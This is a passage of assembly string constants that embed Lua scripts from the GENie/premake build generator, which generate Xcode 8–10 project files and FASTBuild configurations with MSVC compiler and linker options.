then\noptions.EXCLUDED_SOURCE_FILE_NAMES = excluded\nend\nif cfg.flags.NoExceptions then\noptions.GCC_ENABLE_CPP_EXCEPTIONS = \"NO\"\nend\nif cfg.flags.NoRTTI then\noptions.GCC_ENABLE_CPP_RTTI = \"NO\"\nend\nif cfg.flags.Symbols and not cfg.flags.NoEditAndContinue then\noptions.GCC_ENABLE_FIX_AND_CONTINUE = \"YES\"\nend\nif cfg.flags.NoExceptions then\noptions.GCC_ENABLE_OBJC_EXCEPTIONS = \"NO\"\nend\nif cfg.flags.Optimize or cfg.flags.OptimizeSize then\noptions.GCC_OPTIMIZATION_LEVEL = \"s\"\nelseif cfg.flags.OptimizeSpeed then\noptions.GCC_OPTIMIZATION_LEVEL = 3\nelse\noptions.GCC_OPTIMIZATION_LEVEL = 0\nend\nif cfg.pchheader and not cfg.flags.NoPCH then\noptions.GCC_PRECOMPILE_PREFIX_HEADER = \"YES\"\nlocal pch = cfg.pchheader\nfor _, incdir in ipairs(cfg.includedirs) do\nlocal abspath = path.getabsolute(path.join(cfg.project.location, incdir))\nlocal testname = path.join(abspath, pch)\nif os.isfile(testname) then\npch = path.getrelative(cfg.location, testname)\nbreak\nend\nend\noptions.GCC_PREFIX_HEADER = pch\nend\nif cfg.flags.FatalWarnings then\noptions.GCC_TREAT_WARNINGS_AS_ERRORS = \"YES\"\nend\nif cfg.kind == \"Bundle\" then\noptions.MACH_O_TYPE = \"mh_bundle\"\nend\nif cfg.flags.StaticRuntime then\noptions.STANDARD_C_PLUS_PLUS_LIBRARY_TYPE = \"static\"\nend\nif cfg.flags.PedanticWarnings or cfg.flags.ExtraWarnings then\noptions.WARNING_CFLAGS = \"-Wall\"\nend\nif cfg.flags.Cpp11 then\noptions.CLANG_CXX_LANGUAGE_STANDARD = \"c++11\"\nelseif cfg.flags.Cpp14 or cfg.flags.CppLatest then\noptions.CLANG_CXX_LANGUAGE_STANDARD = \"c++14\"\nelseif cfg.flags.Cpp17 then\nif premake.action.current() == premake.action.get(\"xcode8\") then\nerror(\"XCode8 does not support C++17.\")\nend\nend\nfor _, val in ipairs(premake.xcode.parameters) do\nlocal eqpos = string.find(val, \"=\")\nif eqpos ~= nil then\nlocal key = string.trim(string.sub(val, 1, eqpos - 1))\nlocal value = string.trim(string.sub(val, eqpos + 1))\noptions[key] = value\nend\nend\nreturn options\nend\nfunction xcode8.project(prj)\nlocal tr = xcode.buildprjtree(prj)\nxcode.Header(tr, 48)\nxcode.PBXBuildFile(tr)\nxcode.PBXContainerItemProxy(tr)\nxcode.PBXFileReference(tr,prj)\nxcode.PBXFrameworksBuildPhase(tr)\nxcode.PBXGroup(tr)\nxcode.PBXNativeTarget(tr)\nxcode.PBXProject(tr, \"8.0\")\nxcode.PBXReferenceProxy(tr)\nxcode.PBXResourcesBuildPhase(tr)\nxcode.PBXShellScriptBuildPhase(tr)\nxcode.PBXCopyFilesBuildPhase(tr)\nxcode.PBXSourcesBuildPhase(tr,prj)\nxcode.PBXVariantGroup(tr)\nxcode.PBXTargetDependency(tr)\nxcode.XCBuildConfiguration(tr, prj, {\nontarget = xcode8.XCBuildConfiguration_Target,\nonproject = xcode8.XCBuildConfiguration_Project,\n})\nxcode.XCBuildConfigurationList(tr)\nxcode.Footer(tr)\nend\nnewaction\n{\ntrigger = \"xcode8\",\nshortname = \"Xcode 8\",\ndescription = \"Generate Apple Xcode 8 project files\",\nos = \"macosx\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\" },\nvalid_tools = {\ncc = { \"gcc\" },\n},\nvalid_platforms = {\nNative = \"Native\",\nx32 = \"Native 32-bit\",\nx64 = \"Native 64-bit\",\nUniversal = \"Universal\",\n},\ndefault_platform = \"Native\",\nonsolution = function(sln)\npremake.generate(sln, \"%%.xcworkspace/contents.xcworkspacedata\", xcode.workspace_generate)\npremake.generate(sln, \"%%.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings\", xcode.workspace_settings)\npremake.generate(sln, \"%%.xcworkspace/xcshareddata/xcschemes/-ALL-.xcscheme\", xcode.workspace_scheme)\nend,\nonproject = function(prj)\npremake.generate(prj, \"%%.xcodeproj/project.pbxproj\", xcode8.project)\nxcode.generate_schemes(prj, \"%%.xcodeproj/xcshareddata/xcschemes\")\nend,\noncleanproject = function(prj)\npremake.clean.directory(prj, \"%%.xcodeproj\")\npremake.clean.directory(prj, \"%%.xcworkspace\")\nend,\noncheckproject = xcode.checkproject,\nxcode = {\niOSTargetPlatformVersion = nil,\nmacOSTargetPlatformVersion = nil,\ntvOSTargetPlatformVersion = nil,\n},\n}\n"
l_.str.55: ; @.str.55
.asciz "local premake = premake\npremake.xcode9 = { }\nlocal xcode = premake.xcode\nlocal xcode8 = premake.xcode8\nlocal xcode9 = premake.xcode9\nfunction xcode9.XCBuildConfiguration_Project(tr, prj, cfg)\nlocal options = xcode8.XCBuildConfiguration_Project(tr, prj, cfg)\nif cfg.flags.Cpp17 or cfg.flags.CppLatest then\noptions.CLANG_CXX_LANGUAGE_STANDARD = \"c++17\"\nend\nreturn table.merge(options, {\nCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = \"YES\",\nCLANG_WARN_COMMA = \"YES\",\nCLANG_WARN_NON_LITERAL_NULL_CONVERSION = \"YES\",\nCLANG_WARN_OBJC_LITERAL_CONVERSION = \"YES\",\nCLANG_WARN_RANGE_LOOP_ANALYSIS = \"YES\",\nCLANG_WARN_STRICT_PROTOTYPES = \"YES\",\n})\nend\nfunction xcode9.project(prj)\nlocal tr = xcode.buildprjtree(prj)\nxcode.Header(tr, 48)\nxcode.PBXBuildFile(tr)\nxcode.PBXContainerItemProxy(tr)\nxcode.PBXFileReference(tr,prj)\nxcode.PBXFrameworksBuildPhase(tr)\nxcode.PBXGroup(tr)\nxcode.PBXNativeTarget(tr)\nxcode.PBXProject(tr, \"8.0\")\nxcode.PBXReferenceProxy(tr)\nxcode.PBXResourcesBuildPhase(tr)\nxcode.PBXShellScriptBuildPhase(tr)\nxcode.PBXCopyFilesBuildPhase(tr)\nxcode.PBXSourcesBuildPhase(tr,prj)\nxcode.PBXVariantGroup(tr)\nxcode.PBXTargetDependency(tr)\nxcode.XCBuildConfiguration(tr, prj, {\nontarget = xcode8.XCBuildConfiguration_Target,\nonproject = xcode9.XCBuildConfiguration_Project,\n})\nxcode.XCBuildConfigurationList(tr)\nxcode.Footer(tr)\nend\nnewaction\n{\ntrigger = \"xcode9\",\nshortname = \"Xcode 9\",\ndescription = \"Generate Apple Xcode 9 project files\",\nos = \"macosx\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\" },\nvalid_tools = {\ncc = { \"gcc\" },\n},\nvalid_platforms = {\nNative = \"Native\",\nx32 = \"Native 32-bit\",\nx64 = \"Native 64-bit\",\nUniversal = \"Universal\",\n},\ndefault_platform = \"Native\",\nonsolution = function(sln)\npremake.generate(sln, \"%%.xcworkspace/contents.xcworkspacedata\", xcode.workspace_generate)\npremake.generate(sln, \"%%.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings\", xcode.workspace_settings)\npremake.generate(sln, \"%%.xcworkspace/xcshareddata/xcschemes/-ALL-.xcscheme\", xcode.workspace_scheme)\nend,\nonproject = function(prj)\npremake.generate(prj, \"%%.xcodeproj/project.pbxproj\", xcode9.project)\nxcode.generate_schemes(prj, \"%%.xcodeproj/xcshareddata/xcschemes\")\nend,\noncleanproject = function(prj)\npremake.clean.directory(prj, \"%%.xcodeproj\")\npremake.clean.directory(prj, \"%%.xcworkspace\")\nend,\noncheckproject = xcode.checkproject,\nxcode = {\niOSTargetPlatformVersion = nil,\nmacOSTargetPlatformVersion = nil,\ntvOSTargetPlatformVersion = nil,\n},\n}\n"
l_.str.56: ; @.str.56
.asciz "local premake = premake\npremake.xcode10 = { }\nlocal xcode = premake.xcode\nlocal xcode8 = premake.xcode8\nlocal xcode9 = premake.xcode9\nlocal xcode10 = premake.xcode10\nfunction xcode10.XCBuildConfiguration_Project(tr, prj, cfg)\nlocal options = xcode9.XCBuildConfiguration_Project(tr, prj, cfg)\nreturn table.merge(options, {\nCLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = \"YES\",\nCLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = \"YES\",\nCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = \"YES\",\nCLANG_WARN_COMMA = \"YES\",\nCLANG_WARN_NON_LITERAL_NULL_CONVERSION = \"YES\",\nCLANG_WARN_OBJC_LITERAL_CONVERSION = \"YES\",\nCLANG_WARN_RANGE_LOOP_ANALYSIS = \"YES\",\nCLANG_WARN_STRICT_PROTOTYPES = \"YES\",\n})\nend\nfunction xcode10.XCBuildConfiguration_Target(tr, target, cfg)\nlocal options = xcode8.XCBuildConfiguration_Target(tr, target, cfg)\nif not cfg.flags.ObjcARC then\noptions.CLANG_ENABLE_OBJC_WEAK = \"YES\"\nend\nreturn options\nend\nfunction xcode10.project(prj)\nlocal tr = xcode.buildprjtree(prj)\nxcode.Header(tr, 48)\nxcode.PBXBuildFile(tr)\nxcode.PBXContainerItemProxy(tr)\nxcode.PBXFileReference(tr,prj)\nxcode.PBXFrameworksBuildPhase(tr)\nxcode.PBXGroup(tr)\nxcode.PBXNativeTarget(tr)\nxcode.PBXProject(tr, \"8.0\")\nxcode.PBXReferenceProxy(tr)\nxcode.PBXResourcesBuildPhase(tr)\nxcode.PBXShellScriptBuildPhase(tr)\nxcode.PBXCopyFilesBuildPhase(tr)\nxcode.PBXSourcesBuildPhase(tr,prj)\nxcode.PBXVariantGroup(tr)\nxcode.PBXTargetDependency(tr)\nxcode.XCBuildConfiguration(tr, prj, {\nontarget = xcode10.XCBuildConfiguration_Target,\nonproject = xcode10.XCBuildConfiguration_Project,\n})\nxcode.XCBuildConfigurationList(tr)\nxcode.Footer(tr)\nend\nnewaction\n{\ntrigger = \"xcode10\",\nshortname = \"Xcode 10\",\ndescription = \"Generate Apple Xcode 10 project files (experimental)\",\nos = \"macosx\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\" },\nvalid_tools = {\ncc = { \"gcc\" },\n},\nvalid_platforms = {\nNative = \"Native\",\nx32 = \"Native 32-bit\",\nx64 = \"Native 64-bit\",\nUniversal = \"Universal\",\n},\ndefault_platform = \"Native\",\nonsolution = function(sln)\npremake.generate(sln, \"%%.xcworkspace/contents.xcworkspacedata\", xcode.workspace_generate)\npremake.generate(sln, \"%%.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings\", xcode.workspace_settings)\npremake.generate(sln, \"%%.xcworkspace/xcshareddata/xcschemes/-ALL-.xcscheme\", xcode.workspace_scheme)\nend,\nonproject = function(prj)\npremake.generate(prj, \"%%.xcodeproj/project.pbxproj\", xcode10.project)\nxcode.generate_schemes(prj, \"%%.xcodeproj/xcshareddata/xcschemes\")\nend,\noncleanproject = function(prj)\npremake.clean.directory(prj, \"%%.xcodeproj\")\npremake.clean.directory(prj, \"%%.xcworkspace\")\nend,\noncheckproject = xcode.checkproject,\nxcode = {\niOSTargetPlatformVersion = nil,\nmacOSTargetPlatformVersion = nil,\ntvOSTargetPlatformVersion = nil,\n},\n}\n"
l_.str.57: ; @.str.57
.asciz "premake.fastbuild = { }\nlocal fastbuild = premake.fastbuild\nnewaction\n{\ntrigger = \"vs2015-fastbuild\",\nshortname = \"FASTBuild VS2015\",\ndescription = \"Generate FASTBuild configuration files for Visual Studio 2015.\",\nvalid_kinds = {\n\"ConsoleApp\",\n\"WindowedApp\",\n\"StaticLib\",\n\"SharedLib\",\n\"Bundle\",\n},\nvalid_languages = {\n\"C\",\n\"C++\"\n},\nvalid_tools = {\ncc = {\n\"msc\"\n},\n},\nonsolution = function(sln)\npremake.generate(sln, \"fbuild.bff\", premake.fastbuild.solution)\nend,\nonproject = function(prj)\npremake.generate(prj, \"%%.bff\", premake.fastbuild.project)\nend,\noncleansolution = function(sln)\npremake.clean.file(sln, \"fbuild.bff\")\nend,\noncleanproject = function(prj)\npremake.clean.file(prj, \"%%.bff\")\nend,\n}\n"
l_.str.58: ; @.str.58
.asciz "-- Generates a FASTBuild config file for a project.\nlocal function add_trailing_backslash(dir)\nif dir:len() > 0 and dir:sub(-1) ~= \"\\\\\" then\nreturn dir..\"\\\\\"\nend\nreturn dir\nend\nlocal function compile(indentlevel, prj, cfg, commonbasepath)\nlocal firstflag = true\nfor _, cfgexclude in ipairs(cfg.excludes) do\nif path.issourcefile(cfgexclude) then\nif firstflag then\n_p(indentlevel, '// Excluded files:')\nfirstflag = false\nend\n_p(indentlevel, \".CompilerInputFiles - '%s'\", cfgexclude)\nend\nend\nif not firstflag then\n_p('')\nend\n_p(indentlevel, \".CompilerOutputPath = '%s'\", add_trailing_backslash(cfg.objectsdir))\n_p(indentlevel, \".Defines = ''\")\nfor _, define in ipairs(cfg.defines) do\n_p(indentlevel+1, \"+ ' /D%s'\", define)\nend\nif cfg.kind == 'SharedLib' then\n_p(indentlevel+1, \"+ ' /D_WINDLL'\")\nend\n_p(indentlevel, \".IncludeDirs = ''\")\nlocal sortedincdirs = table.join(cfg.userincludedirs, cfg.includedirs, cfg.systemincludedirs)\nlocal function getpathnodecount(p)\nlocal nodefinder = string.gmatch(p, \"[^\\\\/]+\")\nlocal result = 0\nlocal node = nodefinder()\nwhile node do\nresult = result + ((node ~= '.' and 1) or 0)\nnode = nodefinder()\nend\nreturn result\nend\nlocal stepsfrombase = {}\nfor _, includedir in ipairs(sortedincdirs) do\nstepsfrombase[includedir] = getpathnodecount(path.getrelative(commonbasepath, includedir))\nend\nlocal function includesort(a, b)\nif stepsfrombase[a] == stepsfrombase[b] then\nreturn a < b\nelse\nreturn stepsfrombase[a] < stepsfrombase[b]\nend\nend\ntable.sort(sortedincdirs, includesort)\nfor _, includedir in ipairs(sortedincdirs) do\n_p(indentlevel+1, \"+ ' /I\\\"%s\\\"'\", includedir)\nend\n_p(indentlevel+1, \"+ .MSVCIncludes\")\nlocal compileroptions = {\n'\"%1\"',\n'/nologo',\n'/c',\n'/Gm-',\n'/Zc:inline',\n'/errorReport:prompt',\n'/FS',\n}\nif cfg.options.ForceCPP then\ntable.insert(compileroptions, '/TP')\nend\nif cfg.flags.PedanticWarnings\nor cfg.flags.ExtraWarnings\nthen\ntable.insert(compileroptions, '/W4')\nend\nif (cfg.flags.NativeWChar == false or\ncfg.flags.NoNativeWChar) then\ntable.insert(compileroptions, '/Zc:wchar_t-')\nend\nif (cfg.flags.EnableMinimalRebuild or\ncfg.flags.NoMultiProcessorCompilation) then\nend\nif cfg.flags.FloatFast then\ntable.insert(compileroptions, '/fp:fast')\nelseif cfg.flags.FloatStrict then\ntable.insert(compileroptions, '/fp:strict')\nelse\ntable.insert(compileroptions, '/fp:precise')\nend\nif cfg.flags.FastCall then\ntable.insert(compileroptions, '/Gr')\nelseif cfg.flags.StdCall then\ntable.insert(compileroptions, '/Gd')\nend\nif cfg.flags.UnsignedChar then\ntable.insert(compileroptions, '/J')\nend\nif premake.config.isdebugbuild(cfg) then\nif cfg.flags.StaticRuntime then\ntable.insert(compileroptions, '/MTd')\nelse\ntable.insert(compileroptions, '/MDd')\nend\nelse\nif cfg.flags.StaticRuntime then\ntable.insert(compileroptions, '/MT')\nelse\ntable.insert(compileroptions, '/MD')\nend\nend\nif cfg.flags.Symbols then\nif (cfg.flags.C7DebugInfo) then\ntable.insert(compileroptions, '/Z7')\nelse\nif premake.config.iseditandcontinue(cfg) then\ntable.insert(compileroptions, '/ZI')\nelse\ntable.insert(compileroptions, '/Zi')\nend\nlocal targetdir = add_trailing_backslash(cfg.buildtarget.directory)\ntable.insert(compileroptions, string.format(\"/Fd\\\"%s%s.pdb\\\"\", targetdir, cfg.buildtarget.basename))\nend\nend\nlocal isoptimised = true\nif (cfg.flags.Optimize) then\ntable.insert(compileroptions, '/Ox')\nelseif (cfg.flags.OptimizeSize) then\ntable.insert(compileroptions, '/O1')\nelseif (cfg.flags.OptimizeSpeed) then\ntable.insert(compileroptions, '/O2')\nelse\nisoptimised = false\nend\nif isoptimised then\nif cfg.flags.NoOptimizeLink and cfg.flags.NoEditAndContinue then\ntable.insert(compileroptions, '/GF-')\ntable.insert(compileroptions, '/Gy-')\nelse\ntable.insert(compileroptions, '/GF')\ntable.insert(compileroptions, '/Gy')\nend\nelse\ntable.insert(compileroptions, '/Gy')\ntable.insert(compileroptions, '/Od')\ntable.insert(compileroptions, '/RTC1')\nend\nif cfg.flags.FatalWarnings then\ntable.insert(compileroptions, '/WX')\nelse\ntable.insert(compileroptions, '/WX-')\nend\nif cfg.platform == 'x32' then\nif cfg.flags.EnableSSE2 then\ntable.insert(compileroptions, '/arch:SSE2')\nelseif cfg.flags.EnableSSE then\ntable.insert(compileroptions, '/arch:SSE')\nend\nend\nif cfg.flags.NoExceptions then\nelse\nif cfg.flags.SEH then\ntable.insert(compileroptions, '/EHa')\nelse\ntable.insert(compileroptions, '/EHsc')\nend\nend\nif cfg.flags.NoRTTI then\ntable.insert(compileroptions, '/GR-')\nelse\ntable.insert(compileroptions, '/GR')\nend\nif cfg.flags.NoFramePointer then\ntable.insert(compileroptions, '/Oy-')\nelse\ntable.insert(compileroptions, '/Oy')\nend\nfor _, addloption in ipairs(cfg.buildoptions) do\ntable.insert(compileroptions, addloption)\nend\n_p(indentlevel, \".CompilerOptions = ''\")\nfor _, option in ipairs(compileroptions) do\n_p(indentlevel+1, \"+ ' %s'\", option)\nend\n_p(indentlevel+1, \"+ .IncludeDirs\")\n_p(indentlevel+1, \"+ .Defines\")\nif not cfg.flags.NoPCH and cfg.pchheader then\n_p(indentlevel, \".CompilerInputFiles - '%s'\", cfg.pchsource)\n_p(indentlevel, \".PCHInputFile = '%s'\", cfg.pchsource)\n_p(indentlevel, \".PCHOutputFile = .CompilerOutputPath + '%s.pch'\", prj.name)\n_p(indentlevel, \".CompilerOptions + ' /Fp\\\"' + .CompilerOutputPath + '%s.pch\\\"'\", prj.name)\n_p(indentlevel, \".PCHOptions = .CompilerOptions\")\n_p(indentlevel+1, \"+ ' /Yc\\\"%s\\\"'\", cfg.pchheader)\n_p(indentlevel+1, \"+ ' /Fo\\\"%%3\\\"'\")\n_p(indentlevel, \".CompilerOptions + ' /Yu\\\"%s\\\"'\", cfg.pchheader)\nend\n_p(indentlevel+1, \"+ ' /Fo\\\"%%2\\\"'\") -- make sure the previous property is .CompilerOptions\nend\nlocal function library(prj, cfg, useconfig, commonbasepath)\n_p(1, \"Library('%s-%s-%s')\", prj.name, cfg.name, cfg.platform)\n_p(1, '{')\nuseconfig(2)\ncompile(2, prj, cfg, commonbasepath)\nlocal librarianoptions = {\n'\"%1\"',\n'/OUT:\"%2\"',\n'/NOLOGO',\n}\nif cfg.platform == 'x64' then\ntable.insert(librarianoptions, '/MACHINE:X64')\nelse\ntable.insert(librarianoptions, '/MACHINE:X86')\nend\n_p(2, \".LibrarianOptions = ''\")\nfor _, option in ipairs(librarianoptions) do\n_p(3, \"+ ' %s'\", option)\nend\n_p(2, \".LibrarianOutput = '%s'\", cfg.buildtarget.fullpath)\n_p(1, '}')\n_p('')\nend\nlocal function binary(prj, cfg, useconfig, bintype, commonbasepath)\n_p(1, \"ObjectList('%s_obj-%s-%s')\", prj.name, cfg.name, cfg.platform)\n_p(1, '{')\nuseconfig(2)\ncompile(2, prj, cfg, commonbasepath)\n_p(1, '}')\n_p('')\n_p(1, \"%s('%s-%s-%s')\", bintype, prj.name, cfg.name, cfg.platform)\n_p(1, '{')\nuseconfig(2)\n_p(2, '.Libraries = {')\n_p(3, \"'%s_obj-%s-%s',\", prj.name, cfg.name, cfg.platform) -- Refer to the ObjectList\nlocal sorteddeplibs = {}\nfor _, deplib in ipairs(premake.getlinks(cfg, \"dependencies\", \"basename\")) do\ntable.insert(sorteddeplibs, string.format(\"'%s-%s-%s',\", deplib, cfg.name, cfg.platform))\nend\ntable.sort(sorteddeplibs)\nfor _, deplib in ipairs(sorteddeplibs) do\n_p(3, deplib)\nend\n_p(3, '}')\n_p(2, '.LinkerLinkObjects = false')\nlocal linkeroptions = {\n'\"%1\"',\n'/OUT:\"%2\"',\n'/NOLOGO',\n'/errorReport:prompt',\n}\nlocal subsystemversion = '\",5.02\"'\nif cfg.platform == 'x32' then\nsubsystemversion = '\",5.01\"'\nend\nif cfg.kind == 'ConsoleApp' then\ntable.insert(linkeroptions, '/SUBSYSTEM:CONSOLE'..subsystemversion)\nelse\ntable.insert(linkeroptions, '/SUBSYSTEM:WINDOWS'..subsystemversion)\nend\nif cfg.kind == 'SharedLib' then\ntable.insert(linkeroptions, '/DLL')\nend\nif cfg.platform == 'x64' then\ntable.insert(linkeroptions, '/MACHINE:X64')\nelse\ntable.insert(linkeroptions, '/MACHINE:X86')\nend\nfor _, libdir in ipairs(cfg.libdirs) do\ntable.insert(linkeroptions, string.format('/LIBPATH:%s', path.translate(libdir, '\\\\')))\nend\nif not cfg.flags.WinMain and (cfg.kind == 'ConsoleApp' or cfg.kind == 'WindowedApp') then\nif cfg.flags.Unicode then\ntable.insert(linkeroptions, '/ENTRY:wmainCRTStartup')\nelse\ntable.insert(linkeroptions, '/ENTRY:mainCRTStartup')\nend\nend\nlocal deffile = premake.findfile(cfg, \".def\")\nif deffile then\ntable.insert(linkeroptions, '/DEF:%s', deffile)\nend\nif (cfg.flags.Symbols ~= nil) then\ntable.insert(linkeroptions, '/DEBUG')\nend\nif premake.config.islinkeroptimizedbuild(cfg.flags) then\ntable.insert(linkeroptions, '/OPT:REF')\ntable.insert(linkeroptions, '/OPT:ICF')\nend\ntable.insert(linkeroptions, '/INCREMENTAL'..((premake.config.isincrementallink(cfg) and '') or ':NO'))\nfor _, addloption in ipairs(cfg.linkoptions) do\ntable.insert(linkeroptions, addloption)\nend\nlocal linklibs = premake.getlinks(cfg, \"all\", \"fullpath\")\nfor _, linklib in ipairs(linklibs) do\ntable.insert(linkeroptions, path.getname(linklib))\nend\ntable.sort(linkeroptions)\n_p(2, \".LinkerOptions = ''\")\nfor _, option in ipairs(linkeroptions) do\n_p(3, \"+ ' %s'\", option)\nend\n_p(3, \"+ .MSVCLibPaths\")\n_p(2, \".LinkerOutput = '%s'\", cfg.buildtarget.fullpath)\n_p(1, '}')\n_p('')\nend\nlocal function executable(prj, cfg, useconfig, commonbasepath)\nbinary(prj, cfg, useconfig, 'Executable', commonbasepath)\nend\nlocal function dll(prj, cfg, useconfig, commonbasepath)\nbinary(prj, cfg, useconfig, 'DLL', commonbasepath)\nend\nlocal function alias(prj, cfg, target)\n_p(1, \"Alias('%s-%s-%s')\", prj.name, cfg.name, cfg.platform)\n_p(1, '{')\n_p(2, \".Targets = '%s'\", target)\n_p(1, '}')\n_p('')\nend\nfunction premake.fastbuild.project(prj)\nio.indent = ' '\n_p('// FASTBuild project configuration file autogenerated by GENie.')\n_p('')\n_p('{')\nlocal cppfiles = {}\nfor file in premake.project.eachfile(prj) do\nif path.issourcefile(file.name) then\ntable.insert(cppfiles, file.name)\nend\nend\nlocal commonbasepath = cppfiles[1]\nfor _, file in ipairs(cppfiles) do\ncommonbasepath = path.getcommonbasedir(commonbasepath..'/', file)\nend\n_p(1, \".CompilerInputFilesRoot = '%s/'\", commonbasepath)\n_p(1, '.CompilerInputFiles = {')\nfor _, file in ipairs(cppfiles) do\n_p(2, \"'%s',\", file)\nend\n_p(1, '}')\n_p('')\nlocal targetkindmap = {\nConsoleApp = executable,\nWindowedApp = executable,\nSharedLib = dll,\nStaticLib = library,\n}\nlocal useconfigmap = {\nx32 = function(indentlevel)\n_p(indentlevel, 'Using(.MSVCx86Config)')\n_p('')\nend,\nx64 = function(indentlevel)\n_p(indentlevel, 'Using(.MSVCx64Config)')\n_p('')\nend,\n}\nlocal nativeplatform = (os.is64bit() and 'x64') or 'x32'\nfor _, platform in ipairs(prj.solution.platforms) do\nfor cfg in premake.eachconfig(prj, platform) do\nif cfg.platform == 'Native' then\nalias(prj, cfg, string.format('%s-%s-%s', prj.name, cfg.name, nativeplatform))\nelse\ntargetkindmap[prj.kind](prj, cfg, useconfigmap[cfg.platform], commonbasepath)\nend\nend\nend\n_p('}')\nend\n"
l_.str.59: ; @.str.59
.asciz "-- Generates a FASTBuild config file for a solution.\nfunction premake.fastbuild.solution(sln)\nio.indent = ' '\n_p('// FastBuild solution configuration file. Generated by GENie.')\n_p('//------------------------------------------------------------------------------------')\n_p('// %s', sln.name)\n_p('//------------------------------------------------------------------------------------')\n_p('#import VS140COMNTOOLS')\nlocal is64bit = os.is64bit()\nlocal target64 = (is64bit and ' amd64') or ' x86_amd64'\nlocal target32 = (is64bit and ' amd64_x86') or ''\nlocal getvcvarscontent = [[\n@set INCLUDE=\n@set LIB=\n@set CommandPromptType=\n@set PreferredToolArchitecture=\n@set Platform=\n@set Path=%SystemRoot%\\System32;%SystemRoot%;%SystemRoot%\\System32\\wbem\n@call \"%VS140COMNTOOLS%..\\..\\VC\\vcvarsall.bat\" %1\n@echo %INCLUDE%\n@echo %LIB%\n@echo %CommandPromptType%\n@echo %PreferredToolArchitecture%\n@echo %Platform%\n@echo %Path%\n]]\nlocal getvcvarsfilepath = os.getenv('TEMP')..'\\\\getvcvars.bat'\nlocal getvcvarsfile = assert(io.open(getvcvarsfilepath, 'w'))\ngetvcvarsfile:write(getvcvarscontent)\ngetvcvarsfile:close()\nlocal vcvarsrawx86 = os.outputof(string.format('call \"%s\"%s', getvcvarsfilepath, target32))\nlocal vcvarsrawx64 = os.outputof(string.format('call \"%s\"%s', getvcvarsfilepath, target64))\nos.remove(getvcvarsfilepath)\nlocal msvcvars = {}\nmsvcvars.x32 = {}\nmsvcvars.x64 = {}\nlocal includeslibssplitter = string.gmatch(vcvarsrawx64, \"[^\\n]+\")\nmsvcvars.x64.includesraw = includeslibssplitter()\nmsvcvars.x64.libpathsraw = includeslibssplitter()\nmsvcvars.x64.commandprompttype = includeslibssplitter()\nmsvcvars.x64.preferredtoolarchitecture = includeslibssplitter()\nmsvcvars.x64.platform = includeslibssplitter()\nmsvcvars.x64.pathraw = includeslibssplitter()\nincludeslibssplitter = string.gmatch(vcvarsrawx86, \"[^\\n]+\")\nmsvcvars.x32.includesraw = includeslibssplitter()\nmsvcvars.x32.libpathsraw = includeslibssplitter()\nmsvcvars.x32.commandprompttype = includeslibssplitter()\nmsvcvars.x32.preferredtoolarchitecture = includeslibssplitter()\nmsvcvars.x32.platform = includeslibssplitter()\nmsvcvars.x32.pathraw = includeslibssplitter()\nlocal function printincludes(includesraw)\n_p(1, \".MSVCIncludes = ''\")\nfor i in string.gmatch(includesraw, \"[^;]+\") do\n_p(2, \"+ ' /I\\\"%s\\\"'\", i)\nend\nend\nlocal function printlibpaths(libpathsraw)\n_p(1, \".MSVCLibPaths = ''\")\nfor i in string.gmatch(libpathsraw, \"[^;]+\") do\n_p(2, \"+ ' /LIBPATH:\\\"%s\\\"'\", i)\nend\nend\nif is64bit then\n_p('.MSVCx64Config =')\n_p('[')\n_p(1, \".Compiler = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\amd64\\\\cl.exe'\")\n_p(1, \".Librarian = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\amd64\\\\lib.exe'\")\n_p(1, \".Linker = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\amd64\\\\link.exe'\")\nprintincludes(msvcvars.x64.includesraw)\nprintlibpaths(msvcvars.x64.libpathsraw)\n_p(']')\n_p('')\n_p('.MSVCx86Config =')\n_p('[')\n_p(1, \".Compiler = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\amd64_x86\\\\cl.exe'\")\n_p(1, \".Librarian = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\amd64_x86\\\\lib.exe'\")\n_p(1, \".Linker = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\amd64_x86\\\\link.exe'\")\nprintincludes(msvcvars.x32.includesraw)\nprintlibpaths(msvcvars.x32.libpathsraw)\n_p(']')\n_p('')\nelse\n_p('.MSVCx64Config =')\n_p('[')\n_p(1, \".Compiler = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\x86_amd64\\\\cl.exe'\")\n_p(1, \".Librarian = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\x86_amd64\\\\lib.exe'\")\n_p(1, \".Linker = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\x86_amd64\\\\link.exe'\")\nprintincludes(msvcvars.x64.includesraw)\nprintlibpaths(msvcvars.x64.libpathsraw)\n_p(']')\n_p('')\n_p('.MSVCx86Config =')\n_p('[')\n_p(1, \".Compiler = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\cl.exe'\")\n_p(1, \".Librarian = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\lib.exe'\")\n_p(1, \".Linker = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin\\\\link.exe'\")\nprintincludes(msvcvars.x32.includesraw)\nprintlibpaths(msvcvars.x32.libpathsraw)\n_p(']')\n_p('')\nend\nlocal msvcbin = '$VS140COMNTOOLS$..\\\\..\\\\VC\\\\bin' .. ((is64bit and '\\\\amd64') or '')\n_p('#import Path')\n_p('#import TMP')\n_p('#import SystemRoot')\n_p('')\n_p('Settings')\n_p('{')\n_p(1, '.Environment = {')\n_p(2, \"'Path=%s;$Path$',\", 